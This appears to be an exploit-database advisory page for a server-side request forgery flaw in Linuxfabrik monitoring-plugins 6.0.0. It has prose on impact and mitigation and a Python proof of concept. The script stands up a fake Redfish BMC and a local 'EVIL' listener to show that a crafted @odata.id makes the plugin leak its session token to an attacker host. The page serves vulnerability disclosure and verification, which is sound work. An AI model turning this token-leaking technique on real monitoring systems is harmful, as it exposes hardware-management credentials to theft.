Skip to main content

Linuxfabrik monitoring_plugins_6.0.0 – SSRF

Categories: WebApps

Overview

The Linuxfabrik monitoring_plugins_6.0.0 vulnerability is a Server-Side Request Forgery (SSRF) flaw that affects the Linuxfabrik monitoring plugins. This vulnerability allows an attacker to manipulate the server’s request handling, potentially leading to unauthorized access to internal services and sensitive data. SSRF vulnerabilities are particularly dangerous as they can be exploited to access internal networks that are otherwise shielded from external threats.

Technical Details

This SSRF vulnerability occurs when the application fails to properly validate user input, allowing an attacker to craft a request to an internal resource. For instance, an attacker could submit a malicious URL that the server then processes, inadvertently exposing internal APIs or services. This can lead to scenarios where sensitive information, such as database credentials or internal service configurations, can be retrieved by the attacker.

The exploitation of this vulnerability typically involves sending a crafted HTTP request to the server, which then forwards the request to an internal service. If the server does not have adequate access controls or input validation, it may return sensitive information to the attacker, thereby compromising the security of the entire system.

Impact

The potential consequences of this vulnerability can be severe. An attacker could gain access to internal resources, leading to data leaks, unauthorized actions within the network, or even a complete takeover of the affected systems. For organizations that rely on the Linuxfabrik monitoring plugins, this could result in significant financial loss, reputational damage, and regulatory repercussions due to the exposure of sensitive data.

Mitigation

To protect against the Linuxfabrik monitoring_plugins_6.0.0 SSRF vulnerability, organizations should implement strict input validation measures. This includes sanitizing user inputs to ensure that only valid requests are processed by the server. Additionally, employing a web application firewall (WAF) can help detect and block malicious requests before they reach the application.

Furthermore, it is crucial to limit the server’s access to internal resources. Implementing network segmentation and enforcing strict access controls can significantly reduce the attack surface. Regular security audits and vulnerability assessments should also be conducted to identify and remediate any potential weaknesses in the system.

Proof of Concept (PoC)

poc.py
# Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF 

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins 

# Software Link: https://github.com/Linuxfabrik/monitoring-plugins 

# Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1)

# Tested on: Linux

# CVE: N/A

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monitoring-plugins 



An @odata.id value without a leading '/' rewrites the request authority; the plugin re-fetches with the Redfish Authorization header attached, leaking BMC credentials to an attacker host. Advisory: GHSA-96fx-pqc3-28xv.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (redfish_ssrf_token_poc.py) ---

import http.server, json, subprocess, threading, os, sys

BMC_PORT, EVIL_PORT = 18080, 18081

EVIL_HITS = []

TOKEN = 'SESSION-TOKEN-SECRET-abc123'

class BMC(http.server.BaseHTTPRequestHandler):

    def _j(self, obj, extra=None):

        b=json.dumps(obj).encode(); self.send_response(200)

        self.send_header('Content-Type','application/json')

        if extra:

            for k,v in extra.items(): self.send_header(k,v)

        self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)

    def do_POST(self):   # session create -> issue token

        self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN})

    def do_GET(self):

        if self.path.endswith('/SessionService'):

            self._j({'SessionTimeout':600})

        elif self.path.endswith('/Systems'):

            self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]})

        else:

            self._j({'Members':[]})

    def log_message(self,*a): pass

class EVIL(http.server.BaseHTTPRequestHandler):

    def _rec(self):

        EVIL_HITS.append((self.command,self.path,self.headers.get('X-Auth-Token'),self.headers.get('Authorization')))

        b=b'{"Members": []}'; self.send_response(200)

        self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)

    do_GET=_rec; do_POST=_rec

    def log_message(self,*a): pass

def serve(port,h):

    httpd=http.server.ThreadingHTTPServer(('127.0.0.1',port),h)

    threading.Thread(target=httpd.serve_forever,daemon=True).start()

serve(BMC_PORT,BMC); serve(EVIL_PORT,EVIL)

env=dict(os.environ,PYTHONPATH='/opt')

plugin='/mp/check-plugins/redfish-ethernetinterfaces/redfish-ethernetinterfaces'

cmd=[sys.executable,plugin,'--url',f' http://127.0.0.1:{BMC_PORT}','--username','monitor','--password','pw','--cache-expire','1 ']

p=subprocess.run(cmd,env=env,capture_output=True,text=True,timeout=60)

print('plugin stdout:',p.stdout[:200]); print('plugin stderr:',p.stderr[:300])

print('EVIL hits:',len(EVIL_HITS))

for m,path,tok,auth in EVIL_HITS:

    print(f'  {m} {path}  X-Auth-Token={tok}  Authorization={auth}')

print('>>> TOKEN LEAKED TO ATTACKER HOST' if any(t==TOKEN for _,_,t,_ in EVIL_HITS) else '>>> token not leaked')

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...